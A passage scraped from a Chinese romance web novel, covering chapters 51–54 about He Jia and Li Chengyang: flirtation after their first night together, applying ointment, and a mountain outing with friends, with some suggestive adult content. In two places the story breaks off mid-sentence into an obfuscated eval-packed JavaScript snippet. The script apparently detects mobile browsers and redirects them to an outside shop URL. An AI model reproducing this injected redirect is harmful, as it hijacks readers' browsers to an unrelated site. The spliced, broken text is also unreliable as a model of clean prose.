何嘉努嘴:“我怎么让你心烦了。” “让我心烦意乱,就想逮着你亲。” “噢好吧,那你告诉我,你之前来二楼找我,是不是当时想亲我?” “是,早就想亲你。” “哼。”她捏了捏他的脸,“那你后面还问我知不知道自己在做什么?你就是假正经。” 他反对:“不是,我只是觉得我们亲得太唐突了。” 她笑了:“李成杨你是老古董吗?怎么凡是第一次都需要做下心理建设?难道你觉得第一次都要特别才行吗?” “也不是。”李成杨撩开她额上的碎发,吊儿郎当地说:“我以前也没觉得第一次有什么特别的,但遇到某人目无尊长,不但抢走了我的初吻,还抢走了我的初夜,像个强盗一样。你说,够不够特别?你说,我又该拿她怎么办?” 何嘉被他说得不好意思,但厚着脸皮回答:“你当然是宠着她呀,你说对不对?” “对,你说的对。”他脸颊的两个酒窝像是蛊惑一般,“我当然是宠着你,我还能怎么办,我的乖乖,我的宝贝,我当然是宠着你了。” 何嘉满意地点点头,指挥他:“好了,你现在就宠着我吧,快点亲亲我。” “又亲?” “对呀,你今天都没有亲我嘴巴。” “你怎么总要我亲?” 她不高兴:“你还总喜欢这么抱着我呢,我都没有说你。” 他揽住她的后腰,“我就喜欢你坐我身上,方便我看着你。” “那你还亲不亲嘛?” “不亲。” “不亲就不亲,我才不要你亲。” 小姑娘双脚触地就要从他身上下来,却被他拉住手腕坐回身体。 本来不是多大的力气,却让她皱了皱眉,表情难受。 李成杨问她:“怎么了?哪里痛吗?” 何嘉耳根红透,吞吞吐吐地说:“就是,那里……你又不是不知道,你还来问我。” “哦我想起来了。” “你想起来就好,我要下去了,你不要再拉我了。” “嗯,但是我还没说完。” “你要说什么?” “我们乖乖好像该擦药了。” 52. 第52章 “你要帮我擦吗?” 何嘉期待地望着他,扯了扯他的衣领:“成杨哥哥,你帮我擦好不好?我自己看不到嘛。” 李成杨啧笑一声,“你真要我帮你擦?” “不可以吗?” “你确定?” 她点点头,脸颊两片红晕。 “行,帮你擦。”李成杨把她放在沙发上,伸手去拿桌上的药膏,不忘叮嘱她:“自己躺好。” 小姑娘心满意足地躺下,一直看着他拆棉签的动作。 李成杨察觉她的目光,问她:“又在看什么?” 她说:“我在看你的手。” “我的手怎么了?” “很大,很好看,关节还是红红的。” “有么?”他自己拿起来看了眼,“确实有点红。” “而且你知道吗?” “知道什么?” “你皮肤是麦色的,就更好看了。” 他问:“你喜欢黑的?” “喜欢。”何嘉朝他眨眼睛,“喜欢你的黑皮还带一点红,看上去很那个。” “很哪个?” 她不说,坐起来去抓他的胳膊肘。 “你这里也是红红的耶。” 不等他回应,她又添上一句:“我也喜欢。” 他好笑:“你怎么什么都喜欢?” “我就是喜欢,你哪里我都喜欢。” “这么喜欢?” “对。” “为什么喜欢?” 何嘉想了想,对他说:“我也不是很清楚,反正你站在那里我就喜欢呀,我就想和你贴贴,就想抱着你,就想和你亲热。只要你在我身边,我就忍不住想扑倒你。” “你还挺诚实。”李成杨捏着药膏朝她凑近,“好了,先擦药,恢复了才有力气扑倒我,知道没?” “知道了。”何嘉乖乖躺回沙发,等他动作。 但他就这么看着她,没动。 小姑娘疑惑道:“你怎么不动?” 他说:“你穿得整整齐齐的,我怎么给你擦?” 何嘉又坐起来,害羞地看着他,“我不好意思,你帮我,帮我脱一下。” “我就好意思了?”李成杨把药放回桌子,又说:“也不是不行,你那你躺着。” 小姑娘躺在沙发上心跳渐响,男人靠近她,视线落在她的衬衫衣领处。 他伸手替她解了两颗口子,却引来她的疑问:“你为什么解这里啊?” 李成杨轻笑一下,有意放慢语速:“不解这里那解哪里?是这里吗?” 他的手指下滑,停在她腰间。衬衫衣摆被整齐地收进裤腰,留下她纤细的线条。 何嘉下意识吸腹,觉得他的触碰很痒。 “你快点呀。” 李成杨抬头看她,忍不住笑了,“我快点什么?你还真想我给你擦那儿?你想什么呢?” 她瞪着眼睛看他,眉毛皱了皱,“不是你说要给我擦药吗?” “是啊,我是说给你擦肩膀。” “你!”她又被他耍了,很生气:“你怎么总欺负我?按照刚刚的语境来说,你的意思明明就是要帮我擦那儿,你就是故意逗我!李成杨你好讨厌。” 他正大光明:“讨厌就讨厌,只是某人刚才还说喜欢我。行吧,都是骗我的。” “哼,讨厌你。” “好,讨厌,现在让讨厌的人给你擦药了,快点坐起来。” 她不肯:“我不,我才不听你的。” 他好声好气地哄她:“乖,给我看下有没有破皮,要是留疤了的话,我横竖得给自己几巴掌。” 何嘉气鼓鼓的,但又觉得这话有道理。 她看了李成杨一眼,在他的目光下解开半边衬衫,露出一个圆润的肩头。 女孩的皮肤白皙,锁骨连着肩线泛起轻微的粉红,靠近脖子的那处躺着一排明显的牙痕,颜色刺眼。 李成杨皱了眉,伸手抚摸那个痕迹,心脏被酸意裹挟,“乖乖,对不起。” 她知道他在内疚,那点儿恼怒一下子变成宽慰,“没事的,是我自己做错事情了,当时你只是为了提醒我,属于情急之下嘛。况且我没有流血也没有破皮,过几天就会好的。” 他摇摇头,开始替她擦药,动作很轻,就像他以前替她消毒那样,在珍视她。 “以后都不会这样了,不想让你难受。” 这次换何嘉摇头:“不不不,我喜欢你留下的痕迹,就像你一直在我身边一样。” “不行,我舍不得咬了。” 她眨眨眼,“那就不咬,只盖章好不好?” 他揉了揉她的脑袋,“好,你喜欢怎样,我就怎样。” “嗯嗯。”何嘉看了看他嘴巴和脖子上的咬痕,有点心疼,“你这里还痛不痛?” 李成杨往那儿一摸,“不痛。” “可是颜色好深,看上去就很疼,我以后也不会这样了。” “没事,你以后想咬就咬。” “可是你不喜欢那么粗鲁的。” “我喜欢。”他眼神暗示,嘴角上扬,“我只是不想让你感到粗鲁,但我喜欢你这样对我,你想怎么咬都行。” “好吧。”她又想到什么,“那你今天就这样直接去上班了吗?” 他点头,“嗯。” 她羞死了,“你怎么都不遮一下啊?这样大家都知道我对你做了什么了。” “有什么好遮的?我喜欢广而告之。” “告知什么?” “我已经有主了。” 何嘉脖根发烫,犹豫地问:“李成杨,你,难道是受虐狂吗?” “我是受虐狂那你是什么?” “我……我什么也不是。” “嗯我知道,你是和我天造地设的……” “啊你别说了!” “不是你自己提的吗?” “我不听我不听!” 李成杨被她逗笑,“好,不说了,快点过来把药涂完,等会儿你自己再涂一下别的地方。” 何嘉说:“确实需要涂一下,我感觉有点难受。” “昨天我看有血丝,应该受伤了,你等会儿好好涂一下,免得活动的时候不舒服。” “那是受伤吗?是正常的吧?” 他忽然变得认真起来,“是受伤,但没有多正常。温柔的话大概率不会,但是昨天有点……我以前想着这事儿应该慢慢来,要有充足的准备,不想让你觉得难受。” 何嘉好奇:“你怎么知道这些事情的?你不是没有过吗?” “我知识储备充足。” 她神秘地看着他:“你……不会一天到晚都在学习这种事吧?” “没有。”李成杨耳尖转红,装作正经地说:“这不是基本的生理常识?” “可是课本里不教呀。” “课本里不教,我就不能知道?” “那你从哪儿知道的?” “各大网站。” 她很惊讶:“你?你?你不会天天浏览什么不健康的东西吧?” “你又想什么呢?”他捏了捏她的鼻尖,解释说:“我好歹比你大这么多,不得多知道点?不准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啧。”他语气不爽:“你把我的一切都夺走了,我还得压着脾气伺候你,给你收拾,给你找衣服,给你洗内裤,给你做早餐,给你买药,给你擦药,你还不满意?嗯?” 何嘉听到“内裤”两个字直接暴走了:“李成杨你是变态吗?!谁让你给我洗内裤的?!!” 他轻飘飘地说:“怎么?内裤不是一天一洗?我昨天不给你洗,你今天搓两条吗?” “啊!!!!” 何嘉冲进卧室,羞得在床上打了好几个滚,“李成杨你好讨厌!你干嘛这样啊!” 男人来了兴致,走到她门前说:“我还讨厌?我都为你做到这个份上了,还讨厌?你还有什么不满意的?说出来。” “你走开,不许跟我说话!” 她用被子蒙住脑袋,偏偏还听到他不要脸的声音:“又开始目无尊长?睡觉之前该说什么?忘了?” “……” “说话。” 小姑娘翻了个身,露出一双羞恼的眼睛:“晚安!” “晚安就完了?” 他没打算放过她,一字一句提醒:“我是谁?我叫什么?我是你的谁?” 何嘉又蒙住自己,过了好一阵才传来一个微弱的声音。 “成杨哥哥,我的宝贝……晚安。” “行吧。” 李成杨直接回了书房,躺在床上的时候爽得睡不着。 53. 第53章 六月至,空气里渐渐有了薰衣草的香味。 原本五月底要和冉舒夫妇去爬山,但何嘉身体不适,加上李成杨的饭店越来越忙,这个计划就被搁浅了。 直到这几天,何嘉带的班已经考完月考,终于可以度过几个完整的周末。 她问李成杨:“你上个月是不是没有休假啊?” 他点头,“怎么了?你想出去玩?” 何嘉把手机递给他,“我刚才看了一下,青峰山还挺漂亮的,要不我们这个周末叫上舒舒姐和壅哥去吧?上次不是没去成吗?” 李成杨接过手机,手机里是一个推荐出游的帖子,正好介绍了青峰山,说是夏天避暑的好去处。 又随意往后划了几页,都是那里的景色,看上去绿意盎然,别有一番雅致。 “可以,那我这周末开始休假,到时给他们打个电话。” “好耶。”何嘉用头发蹭了蹭他的脖子,“那就这样啦,你快去上班吧。” 他朝她弯腰,指着脸颊的位置,“这里。” 她故意问:“这里怎么啦?” “没怎么,我走了。” “哎,你等等。”何嘉立马抓住他,在他脸上落下一吻,“好啦,可以走了。” 他弯唇,看了看桌上的牛奶,“快去把牛奶喝了,喝完再去上班。” “好,你先走吧,我一会儿喝完再走。” “嗯。” 等李成杨走远,何嘉才开始喝牛奶。 刚抿了一口就发现有点特别,这牛奶喝起来是甜甜的。 她不相信,又喝了一口。 竟然还是甜的。 她记得前几天的吃早餐的时候,自己确实在牛奶里加过一次糖,但也是好几天前了。 今天怎么会也是甜的? 何嘉一口气喝完整杯牛奶,看见杯底铺了细细的一层白砂糖,在灯光下有点亮晶晶的。 她摸出手机问李成杨:【你今天在牛奶里加糖了吗?】 对面很快回复:【嗯】 何嘉:【为什么?】 他说:【你喜欢】 她默默扬起嘴角:【你怎么知道?】 李成杨:【看到你加过糖】 何嘉:【你怎么那么关注我?】 他不再回答,只说:【快去上班】 好吧,何嘉放下手机,连着桌上的煎蛋全部吃掉,这才心满意足地出门。 走在路上的时候止不住微笑,因为李成杨的存在,总是让她觉得生活是那么美好。 日子很快到就到了六月九号,难得是个大家都休假的周六,李成杨将爬山的日子定在这天。 何嘉还没睡醒的时候,就听见客厅一阵窸窸窣窣的声音,不知道他在那里忙什么。 她走到他身边揉了揉眼睛,“你干嘛呢?怎么起那么早呀?” 李成杨拉好背包,对她说:“吵到你了吗?” “没有,就是听到声音了,有点好奇你在干什么。” “我收点这两天要带的东西。” “什么东西?” “琐碎的东西,应该这两天能用上。” 何嘉想看看包里有什么,他却直接放在鞋凳上,说:“现在不是看东西的时候,你先去收拾一下,穿一套方便走路的衣服,再看看有什么想带的东西,我给你拿。” “好。”何嘉看他穿了一件黑色的T恤,决定道:“你穿黑色那我也穿黑色。” 他不赞同:“黑色热,你穿个浅色的凉快点。” 她也不赞同:“可是我想跟你穿一个颜色的,没关系我不怕热。” 他想了想问她:“你想穿什么颜色?我去换一件。” “白色?你有白色的短袖吗?” “忘了吗?”他有意朝她低头,语气很轻,“你那天坐我身上的时候,我穿的什么颜色?” 何嘉想起一段不可描述的记忆,一把推开他,瞪着他什么也没说。 他无所谓:“想起来就好,快去换衣服。” 她想呛他一句,但又想不出该说什么,只好气鼓鼓地去换衣服了。 再出来的时候看见他坐在沙发上,一副闲情雅致的样子,更加来火了。 “李成杨我还没有吃早餐。” 他指着桌上的包子,“香菇青菜的。” 她和他唱反调:“我不喜欢这个馅儿。” “你喜欢的。” “你又知道?” “嗯我知道。” “你怎么肯定你知道?” 李成杨站起来朝她凑近,眼神很温和,“我就是知道,我记得关于你的一切。你的喜好,你的厌恶,还有你的口是心非。” “我怎么口是心非了?” 他微笑,指腹蹭过她的嘴唇,“你喜欢我刚才说的那句话,你也喜欢香菇青菜的包子,还有你心里最喜欢我。” “你怎么那么自信?”何嘉扯住他的衣领,呼吸打在他脖子上,“但是你有自信的资本,我就是喜欢你乱讲话。既然你这么了解我,那我就奖励你一下。” 他摇头:“该出门了,奖励先留着,到时候你想怎么奖励都行。” “好吧,那我们先走吧。” 从小区到青峰山有两个小时的车程,何嘉在车上睡了很长的一觉,再睁眼的时候已经到达一家民宿门口。 她坐起来问李成杨:“我们不用先去和舒舒姐他们汇合吗?” 他说:“不用,他们今天不住这里,这会儿应该还没出发。” “那我们是先去放东西再和他们联系?” “嗯,你先下去,我拿东西。” “好。” 李成杨打开后备箱,背上刚才准备的那个背包,走到何嘉身边的时候伸出一只手。 他的手掌宽大结实,手掌有点泛红,和那天看到过的一样让人安心。 何嘉毫不犹豫地抓住他,手心一阵温热。她蹭了蹭他的指尖,一层薄茧划过她的皮肤,有些痒。 “李成杨,你的手指有茧诶。” “嗯,搬快递弄的。” 她看了眼两人交叠的手指,一白一黑,一大一小,对比十分明显。 “我喜欢你的手,我也喜欢你牵着我,你以后都要牵着我,好不好?” “我的什么你都喜欢,要不要干脆把我做成标本?” 她打了个激灵:“不可以,那样好惊悚。而且那样的话你的使用价值就变小了。” 他看她一眼,问:“什么使用价值?” “就是不能和你那个啦。” “又想一些乱七八糟的,少想。” 她摇了摇他的手,对他撒娇,“我没有想乱七八糟的事情啊。哎对了,我们今天可不可以那个呀?” 李成杨头上六个句号,“你还说你没想乱七八糟的?” 何嘉嘟嘴,“这是乱七八糟的吗?明明是正经事。所以今天好不好嘛?” “不好。” “为什么?你为什么总是不想跟我那个?” 他嫌烦,拉着她越走越快,“走快点,先去登记入住。” “登记入住之后就能回答我了吗?” 这下他直接捂住她的嘴巴,警告她,“经常想不健康的东西容易变笨。” “哼。”她说不了话,用鼻腔证明自己的不满。 就这么一直登记完入住,李成杨才将她放开。 何嘉跟着他走进房间,马不停蹄地左望右望,发现这个地方简直可以称为艺术品。 整个房间是一个独栋的唐式木屋,只有一层楼,却有两扇巨大的落地窗,窗户可以像门一样打开,由此欣赏外面茂密的竹海。 阳光穿过竹林留下一地斑驳,好几缕光线散在室内的棉麻窗帘上,有一种既古朴又文艺的感觉。 何嘉在室内走了好几个来回,看见地毯放了一张矮桌,上面摆着黑色的瓷瓶,里面是生长旺盛的雪柳,枝条层层叠叠,留白得恰到好处,颇有一番侘寂的味道。 “李成杨,这里好漂亮呀。” 小姑娘又看到窗外摆着两个蒲团,上面有泡好的茶叶。 忍不住再次感叹:“外面还可以喝茶赏景,真的很漂亮。” 李成杨走到她身边,指了指蒲团右边的方向,“那边可以泡温泉,如果你想的话。” 她顺着他的手指去看,木板隔着几平方的水池,里面盛着一池浅蓝色的温泉,此刻还冒着热气。 何嘉问他:“夏天跑温泉没事吗?” 他说:“有什么事?你想的话晚上可以泡。” “可是晚上的话,就看不到外面的景色啦。”她望着群山环绕的竹林,有点舍不得:“你看外面多好看,晚上就是黑黑的了。” 他想想也是,“要不你现在泡?” “算了,晚上有灯应该也还不错。等会儿还要和舒舒姐他们汇合呢,我不能搞特殊。” “好,那就晚上再说。” “嗯。”何嘉走回室内,视线落在房内中央的大床上,看了两眼突然反应过来什么。 “李成杨,你订的大床房?” 他跟着她站在床边,“这不是很明显吗?” 她点了点他的手臂,“可是,你不是不想和我一起睡吗?” “我什么时候不想和你一起睡了?” “在家里的时候我不是邀请过你吗,我问你可不可以陪我睡,但你说不行。” 他坐在床上,把她拉到身边,“那是还没到时候。” 她站在他双膝之间,很期待地问他:“那今天是时候了吗?” “不知道。” “什么叫不知道嘛?你都订一张床了,就是默认的意思对不对。” 他拉住她的手腕,在上面亲了一口,“你也别太误会,这个民宿只有大床房,我当然只能订这种。” “真的吗?”何嘉的手指没入他的发间,轻轻抓了抓,“你不会骗我吧?哪有民宿没有标间的?” 他迟疑半秒,将她带到被子上,手指抚过她的脖子,轻轻蹭了两下。 “真的。” 何嘉躺在床上,看到他的发丝染上暖光,身后是一片竹绿。面前的男人眉眼深刻,看她的时候总是那么温柔。 他和身后的景色就像是一副画,只有在梦里才会看到的仙境一般。 她咽了咽口水,对上他的视线直白又单纯,“成杨哥哥,你压到我了。” 他眼神变暗,低头凑到她的颈间,深深地吸了一口,好像没闻够一样,又连着嗅了好几下。 最后只说了一句:“香的。” 何嘉一眨不眨地看着他,软声说:“我哪里都是香香的,你要不要看?” 他吻了吻她的眼睛,热气包围她,就像是在烤火一样。 很快,何嘉就觉得背上出了好多汗,但她坚持问他:“到底要不要看看?” “不看。”李成杨卷起她身下的被子,将自己紧紧裹在里面,动作很快,像是怕她对他做点什么一样。 她奇怪地看着他:“你做什么?大夏天盖什么被子。” 说着就要去扒他的被子,但他死死抵抗,导致小姑娘连一个被角都没拉下来。 她好气又好笑:“你干嘛?我现在很正常,不会像那天一样对你强取豪夺的。” “不是。”李成杨恨不得把自己再裹一圈,直到她根本看不到他的脸。 “那是什么?”何嘉坐到他腰上,扯开被子一角,探了个头去问:“你到底怎么了呀?你身体不舒服吗?” 他呼吸灼热,打在她脸上的让她鸡皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395428|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疙瘩都起来了。 “李成杨,你怎么了嘛?” “下去。” “我不要,你先告诉我怎么了?” “快点下去。” 何嘉着急了,伸手去扯他胸前的布料,一边扯一边问:“你哪里不舒服你告诉我呀?你今天还可以去爬山吗?要不要先回去?” 李成杨一把抓住她的手腕,温度很烫,吓得她以为他发烧了。 “李成杨你要不要去医院?” “啧,别动来动去。”他翻了个身,将她推到一边,“自己去那边坐。” 她却眼疾手快,一下拉住松开的被角,将他身上的被子全部扯开。 真相暴露在空气中,两人皆是一惊。 李成杨本来不想让她看见,但现在忽然就决定破罐子破摔。 他像砧板上的鱼肉一样躺在原地,根本没有任何动作。 要是非说有什么动作的话,就是意味深长地看着她,然后问她:“看够没?” 何嘉面色涨红,指着他说:“你又那个了?你为什么闻一下就那个了?” “你有意见?” 她口干舌燥,跑下床喝了好大一口水,又转过去看着他,很关心地说:“那你要不要采取一下措施?比如洗个澡?” 李成杨笑了:“原来某人一直知道我洗澡的时候在干什么。” 她支支吾吾:“我又不是小孩子了,当然知道你之前说的‘干想干的事情’是什么意思,不就是,就是那个嘛……” “那你之前还问?” “我是故意问的。” “行,你厉害,你聪明。” 何嘉又爬上床,贴在他耳边说:“我可以碰一下吗?” 他转头跟她对视,看到小姑娘脸上兴奋又畏缩的神情。 “你那天没碰够?” “那天太匆忙了,我不记得了。” “不记得就算了。”李成杨踩着拖鞋往洗手间走,“我要采取措施了,你自己玩一会儿。” 她立马跟到门口,趁他还没关门的时候挤进去,“真的不可以吗?” 他用气音告诉她:“可以,除非你要和我一起洗。” 何嘉又怕又羞,但还是点头:“好啊,我要和你一起。” 李成杨却不乐意了,怎么忘了她现在是真的无法无天,什么都吓不到她了。 他只好推着她的背把她请出去,离开的时候威胁她:“去外面玩一会儿,要是偷看的话,你今天就不能和我一起泡温泉了。” 何嘉听到这话果然忘记刚才的事,亮着眼睛问他:“晚上你打算和我一起泡吗?” “嗯。” “那我现在就在外面玩,我一定好好玩手机!”她推着他的手臂,还不忘催促他:“你快点进去吧,快点快点。” 话落之际,她还不忘帮他带上玻璃门,然后就高高兴兴地去玩手机了。 李成杨站在里面摇了摇头,已经逐渐掌握了和小朋友PK的秘诀。 那就是,在她看到玉米的时候给个桃子,在她看到桃子的时候给个西瓜,总之就是要不断抛出她更感兴趣的东西,那样她就会像小猴一样忘记刚才的事。 过了半个小时,李成杨从洗手间出来,还真的洗了个澡。 他走到床边,见何嘉还在老老实实玩手机,根本没注意他已经出来了。 “你玩什么那么投入?” 她皱了皱眉:“没玩什么,就是在算最近的开支。” “开支什么?” “我也不知道,明明日常都是你在花钱,我一般都花不到几块的,但是上个月有一笔大的支出,不知道什么时候用的。” 他坐在她身边,引导她说:“上个月你在学校花钱了?还是买了什么东西,只是你忘了?” 她想了想,死活都想不出来,“我平时这么抠,到底买什么了?” “你再想想。”李成杨开始擦头发,不再参与话题。 何嘉的眼神瞟到他发梢的水滴,有一滴顺着他的侧脸滑倒他的喉结上,留下一道明显的痕迹。 “我知道了!”她在电光石火之间记起自己买了什么,“我买的那个。” 他回头看她,问:“你说话怎么总是用‘那个’指代?我每次总得猜。” 她还是说:“就那个,那个呀,那个用在你身上的东西。” 李成杨手指僵住,瞬间想起某天放在桌子上的一大袋东西。 他滚了滚喉结,问她:“多少?” “十三盒。” “……我是说多少钱。” “1130。” “嗯。”他直接转了两千过去。 何嘉没有收,“那是我自己想买的,你不用给我报销。” 他慢慢开口:“这东西我难道让你掏钱?我还是人吗?” “可是,我也会用。” 他无语:“那能一样?你听过哪个男的让对象出钱买套?而且我比你大那么多,本来就老牛吃嫩草,要是这东西还让你买,我下辈子还投不投胎?” “好吧。”她按下收款键,看了看时间:“都十点多了,是不是该问下他们到了没?” 他把手机给她:“你用我手机问。” 何嘉看到他的屏保换成了她骑马的那张照片,很高兴地问他:“你很喜欢这张照片吗?你怎么用它当壁纸呀?” 他扫了一眼,淡淡地说:“我喜欢的是你。” “你好突然啊。我还没有准备好呢?” “你准备什么?说这个还要准备?” “当然了,你之前没有说过这个。” “我连‘爱你’都说了,这个还不能随便说?” 何嘉想想也是:“那你以后多说,我喜欢听。” “嗯。” 54. 第54章 接近十一点的时候,冉舒夫妇抵达山脚,今天是冉舒开的车,车还没停稳就跟何嘉打招呼:“小嘉!好久没见啦!” “舒舒姐!”何嘉走到她旁边,朝车里看了眼,张壅躺在副驾昏迷不醒。 “壅哥他怎么了呀?看上去不舒服的样子。” “没事儿,他昨天喝了点白的。”冉舒边回答边打了张壅一巴掌,“小宝,快点起床。” 何嘉听见“小宝”两个字忍不住憋笑,冉舒倒是很平常地解释:“他比我小五岁呀,你说是不是我的小宝?” “是的。”何嘉很快点头。 这时候张壅翻了个身抓住冉舒的手,声音疲惫:“宝宝,再睡一会儿呗。” 这下换冉舒不好意思,“你叫什么呢?” “宝宝啊。” “别叫了啊。” 张壅睁眼,往窗外晃了晃,看到何嘉站在外边。 “小嘉?” 何嘉尴尬地笑笑:“壅哥。” 他坐起来,往她身后瞟,“杨哥呢?” “他去给我买竹棍了。” “爬这个山还要竹棍啊?” “我也不知道,反正他就去了。” 话音刚落,李成杨果真拿着一根竹棍回来了。 他走到何嘉身边说:“乖乖你先拿着,我找个东西。” 何嘉平时没觉得那么羞耻,现在听到这声“乖乖”却想找个地洞钻进去。 “你怎么在外边还叫我‘乖乖’?” 他反问:“怎么了吗?‘乖乖’不好听?” “……好听。” “好听就行。” 空气静止,冉舒和张壅没忍住笑出了声。 张壅调侃道:“没想到啊,杨哥现在这么有情趣?” 李成杨撇他一眼:“你嫉妒?” “不不不,我有老婆叫我‘小宝’哈。只是感叹一下,男人三十一枝花。” “你欠揍是吧?” 张壅往他俩身上打量几眼,继续说:“你和小嘉还整点情侣装啊?都白到一块儿去了哟。” 李成杨懒得理他,翻出背包找了瓶花露水出来,是蓝色的六神。 他拉起何嘉的手臂开喷,不忘给她脖子上也来了一点。 一时间空气里弥漫着一股清新的香味。 何嘉问他:“你怎么还带了花露水呀?” 他盖好盖子,将花露水扔进背包,又拿了个渔夫帽出来。 是一顶米色的帽子,扣在何嘉头上,正好将她的大半脸颊隐在阴影里。 她又问:“你怎么连帽子也带了?” 李成杨为她整理好帽子,在她头上摸了摸,才回答:“有备无患。” “噢,原来你早上装的东西就是这些啊。” “嗯。” 冉舒和张壅早就在一旁静候,看着他们亲近的动作一直微笑。 张壅凑到冉舒旁边说:“杨哥跟照顾小孩一样,没见他那么耐心过。” 冉舒却说:“他人一直都挺好的,以前也习惯照顾人。” “好吧。”他拉着她的手,弱弱地说:“那我什么都没准备,你不会失望吧?” 冉舒捏了捏他的手,小声说:“晚上回去惩罚你。” “好嘞。” 一行人终于准备好开始爬山。 青峰山海拔不高,山体被翠竹环绕,步道旁的山岩上长着幽绿的青苔,闻起来是泥土和草木的味道。 何嘉没有爬过这座山,一路上都兴致勃勃,李成杨跟在她身后,看到她发尾垂在背上,原来泛黄的地方好像变黑了一些。 他沉默地弯了弯嘴角,十分满意。 爬上石阶,接下来是一处长长的木头栈道,栈道悬空在溪流之上,水波浅绿,能看到河底岩石上长者的水藻。 何嘉想伸头出去看,却被李成杨抓住手心,提醒道:“别站太出去,会滑倒。” 她回到他身边,弯着眼睛问他:“要是我滑倒了的话,你还会像以前一样救我吗?” “这个问题还要问?”他将她的手掌攥紧,“我现在不会让你滑倒。” 手心传来一阵温热,何嘉满意地笑了:“那你牵着我走。” “好。” 两人牵着手往前走,步子比刚才慢了许多,一转眼张壅和冉舒就走到前面去了。 何嘉想去追,李成杨却说:“没事,他们就喜欢爬山,是真的奔着爬山来的。” “那我们不是吗?” “我们是奔着约会来的。” 她仰着头问他:“我们,是在约会?” “不然呢?你不想和我约会?” “我想。我想和你约一辈子的会。” “一辈子?”他心脏跳动一下,又确定了一次:“一辈子吗?” 何嘉认真地说:“对呀,一辈子。” 男人突然安静下来,牵着姑娘的手更加用力了。 何嘉不知道他怎么不说话了,抱着他的手臂问:“怎么啦?你不想和我一辈子约会吗?” 柔软触到他的皮肤,让他耳根慢慢染上绯色,“我想。” “你想的话,刚才怎么不直接说?” “没反应过来。” 她不信:“肯定不是,你又在糊弄我。” “没有。” “那让我看看你的表情。”何嘉走到他面前,很认真地打量他的神情。 李成杨面色如常,只有耳朵红得不正常。 何嘉很敏锐地捕捉到这抹颜色,偏要故意问他:“李成杨你害羞了吗?你怎么害羞了?” 他遮住她的眼睛,在她嘴上轻啄一下,唇瓣相触的时候像闪电一样劈开他的神经。 他又啄了一口才放开她:“没有害羞。” 何嘉擦了擦嘴巴,装作不喜欢的样子,“你的口水都亲到我嘴巴上了。” “是么?” 她又擦了擦,将他的气息全都擦掉。 他看在眼里,没有太大情绪,只是落下淡定的一句:“擦吧,擦了以后补上。” 小姑娘听到这句擦得更厉害了,足足抹了一分钟才放开手,看着他的时候非常调皮,“你说的噢,我全都擦干净了,你一定要补上才行,要不今天晚上就补上,好不好?” “行。”他眼底带笑,将她的小心思全都看在眼里。 那又怎么办呢,当然是默认她的一切。 两人沿着栈道走了一个多小时,路上遇到好多卖橙子的店铺。 老板将橙子冰再路边的石潭里,清水没过橙子的时候有一种夏天独有的凉爽气息。 何嘉走到其中一个石潭前,看见石潭里还有土黄瓜,虽然长得不好看,但是颜色健康,一看就是好东西。 老板出来招呼她:“小妹,你要吃什么?我给你拿。” 她先问了价:“橙子和黄瓜怎么卖?” “一个价,二十一斤。” “二十?那么贵啊。” 老板解释:“这是我们运到山上来的,要算运费的,山上都是这个价,我家还便宜一点,要不买一斤?” 她还是有点犹豫,但李成杨走过来说:“买吧,反正我付钱。” 要的就是这句话,何嘉立马跟老板蹲在石潭边,开始仔细挑选橙子。 女孩的发丝随着动作往下掉,她不停将它们撩至而后,但次数多了之后就有点烦躁了。 她转向李成杨,问:“李成杨,你有没有能扎头发的东西?” “有。”他从包里摸出一个黑色的发圈,很快递给她。 何嘉有点诧异,原本只是习惯性问问他,没想到他还真有。 她接过来随意地扎了个低马尾,又继续挑橙子了。 老板教她选那种肚脐眼大的橙子,但她抓着其中一个长得很圆,但肚脐眼小的橙子,非常固执地说:“这个好看。” 老板笑了:“你们年轻人吃水果还要看颜值啊?” 她义正言辞:“颜值高的就算不好吃我也会原谅它,主要是赏心悦目。” 老板笑得嘴巴都合不拢:“那小妹你眼光好啊!我看你男人长得也标志得很!” 何嘉拿起一个金黄的橙子,递到李成杨面前,朝他灿烂一笑:“当然啦,我只喜欢人群中长得最好看的那个。” 橙子悬在空中,他闻到一股清新的水果香气。果皮上的水珠清澈透明,顺着姑娘的指尖一滴一滴落在地上。 这是个有关重力的问题,此刻却无关于物理。 水珠砸在他心上,他也体会到了胃里蝴蝶生长的力量。 李成杨接过橙子,手指触到她的皮肤,轻轻在上面挠了挠。 “给我吗?” “给你。” 他同她浅笑,很快就将橙子剥开,然后递给她说:“给你。” 何嘉摇头:“这是最好看的一个,是我专门挑给你的。” 他却说:“最好看的一个要留给你。” “为什么?” “因为他属于你。” 何嘉并没有听出他话里的含义,只是接过橙子喂他吃了一口,然后将剩下的全部消灭。 李成杨嘴里满是甜蜜,没有再重复刚才的话。他守在她身后,看着她在前面新奇地左看右看。 她似乎对一切都感到好奇,还总是在平凡的场景对他说出美妙的话。 这让他的心脏控住不住地为她猛烈颤抖。 她总是有种魔力,只要站在那里,就让他觉得怦然心动。 那么无所谓她有没有听懂他的话,因为她若是想再听,他会为她讲上一千遍,甚至是一万遍。 “李成杨,快点快点!” 何嘉在前面朝他招手,指着路边的蒸腊肉说:“我想吃排骨还想吃烤肠。” “来了。”他快步朝她走去,和以往的每一次一样坚定。 小姑娘心满意足地吃了半个排骨,将剩下的一半递给他:“给你吃。” “好。” 她又看上了烤玉米,啃了小半递给他:“我吃不完,给你吃。” “好。” 然后是狼牙土豆,吃了两口递给他:“不是糖醋麻辣的,我不吃了。” “好。” 李成杨将剩下的全部吃掉,甚至感觉有点撑了。 但他还问她:“你还想吃什么?” 